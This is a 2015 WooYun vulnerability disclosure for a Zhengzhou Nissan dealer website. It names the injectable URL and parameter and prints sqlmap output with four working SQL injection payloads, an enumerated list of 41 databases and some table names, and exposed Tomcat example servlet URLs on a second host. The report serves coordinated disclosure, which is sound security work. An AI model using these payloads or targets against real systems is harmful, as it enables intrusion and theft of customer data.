当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0156021

漏洞标题:郑州日产某站SQL注入泄漏用户身份信息

相关厂商:郑州日产汽车有限公司

漏洞作者: Taro

提交时间:2015-11-26 14:13

修复时间:2016-01-11 16:00

公开时间:2016-01-11 16:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-27: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向核心白帽子及相关领域专家公开
2015-12-17: 细节向普通白帽子公开
2015-12-27: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

RT...

详细说明:

郑州日产经销商购车助手网站http://jzcc.zznissan.com.cn/
http://jzcc.zznissan.com.cn/map.php?jxs=223
jxs参数存在注入

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: jxs
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: jxs=223' AND 6881=6881 AND 'ujsi'='ujsi
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: jxs=223' AND (SELECT 1731 FROM(SELECT COUNT(*),CONCAT(0x7168696671,(SELECT (CASE WHEN (1731=1731) THEN 1 ELSE 0 END)),0x7174797871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ncLi'='ncLi
Type: UNION query
Title: MySQL UNION query (NULL) - 17 columns
Payload: jxs=223' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7168696671,0x476851776642426b765a,0x7174797871),NULL,NULL,NULL,NULL#
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: jxs=223' AND SLEEP(5) AND 'JAoE'='JAoE
---
web application technology: Apache
back-end DBMS: MySQL 5.0
available databases [41]:
[*] club_15
[*] ebuy
[*] ebuy1217
[*] events
[*] events_2014cgr
[*] events_2014five
[*] events_pickupStory
[*] ezznissan
[*] information_schema
[*] innodb
[*] jinzhiwen
[*] maintain
[*] mysql
[*] nissan
[*] nissan_2015cgr
[*] nissan_jxs
[*] nissan_patrol
[*] nissanmedia
[*] nissantest
[*] paladin
[*] paladinclub
[*] paladinclubtemp
[*] palaqi
[*] performance_schema
[*] specialcar
[*] test
[*] topic
[*] tower_15
[*] wqw_five
[*] wqw_mx6gc
[*] wqw_succk
[*] xuhui
[*] yaguan
[*] zznissan
[*] zznissan_eng
[*] zznissan_jnds
[*] zznissan_lms2015
[*] zznissan_mx6sj2015
[*] zznissan_mx6tg2015
[*] zznissan_pro
[*] zznissanbak


共计41个数据库,且数据库管理员权限过大,任意数据库都可以查询数据

Database: paladinclub
[359 tables]
+------------------------------+
| language |
| user |
| a_customers |
| a_floor |
| a_user |
| article |
| carinfo |
| category |
| cj_jl |
| clubblock |
| clubinfo |
| czhd_memberinfo |
| dakar |


Database: zznissan
[78 tables]
+-------------------+
| Recruitment |
| user |
| act_article |
| act_category |
| article |
| article1029 |
| brandpicture |
| car_adimg |
| car_brand |
| car_carimg |


再来看点小数据

BJ3XDCU}SN]IA8R~[Q)]P@7.png


P]1QW@16@4BUO2_VU[E6L7M.png


车主俱乐部某处tomcat examples未删除
http://eip.zznissan.com.cn:2521//examples/
http://eip.zznissan.com.cn:2521//examples/servlets/index.html
http://eip.zznissan.com.cn:2521/examples/servlets/servlet/SessionExample

漏洞证明:

......

修复方案:

版权声明:转载请注明来源 Taro@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-27 16:00

厂商回复:

已收到

最新状态:

暂无